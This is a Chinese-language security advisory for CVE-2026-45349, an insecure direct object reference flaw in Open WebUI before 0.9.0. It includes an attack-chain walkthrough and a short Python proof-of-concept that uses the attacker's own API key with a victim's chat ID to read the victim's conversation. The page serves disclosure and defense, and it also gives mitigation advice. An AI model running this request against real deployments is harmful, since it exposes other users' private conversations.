IPBUF安全漏洞报告
English
CVE-2026-45349 CVSS 7.1 高危

CVE-2026-45349 Open WebUI 越权访问漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45349
漏洞类型
越权访问
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

越权访问Open WebUIAPI安全IDOR信息泄露

漏洞概述

Open WebUI在0.9.0之前的版本中存在越权访问漏洞。由于API端点缺乏严格的资源归属校验,攻击者可以利用自己的API密钥配合他人的聊天ID,通过`/api/chat/completions`接口继续受害者的对话,导致敏感信息泄露。

技术细节

该漏洞的核心在于Open WebUI未能正确实施API级别的对象访问控制。在`/api/chat/completions`接口的设计中,服务端仅验证了请求中携带的Bearer Token(API Key)是否合法,却未检查请求参数中的`chat_id`是否归属于该Token对应的用户。这导致了典型的越权访问问题(IDOR)。攻击者只需注册一个普通账号获取API Key,然后通过某种方式获取目标用户的Chat ID(如通过URL参数、响应包或其他侧信道),即可构造恶意请求直接读取或操作他人的AI对话记录,从而获取高度敏感的隐私数据。

攻击链分析

STEP 1
1. 信息收集
攻击者在Open WebUI平台注册账号,并生成属于自己的API Key。
STEP 2
2. 获取目标标识
攻击者通过猜测、枚举或其他方式获取目标用户的Chat ID。
STEP 3
3. 发起越权请求
攻击者向`/api/chat/completions`接口发送POST请求,使用自己的API Key作为认证,并在参数中填入受害者的Chat ID。
STEP 4
4. 数据窃取
服务端校验API Key通过后,错误地返回了受害者Chat ID对应的会话内容,导致数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_URL = "http://target-open-webui-instance/api/chat/completions" ATTACKER_API_KEY = "attacker_api_key_here" # API key generated by attacker VICTIM_CHAT_ID = "victim_chat_id_here" # Chat ID of the victim # Headers headers = { "Authorization": f"Bearer {ATTACKER_API_KEY}", "Content-Type": "application/json" } # Payload payload = { "chat_id": VICTIM_CHAT_ID, "prompt": "Continue the conversation" } # Send request response = requests.post(TARGET_URL, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Leaked data:") print(response.json()) else: print("[-] Exploit failed.") print(response.text)

影响范围

Open WebUI < 0.9.0

防御指南

临时缓解措施
建议暂时禁用受影响版本的API访问功能,或通过WAF等安全设备严格拦截包含非本人Chat ID的API请求,直至完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表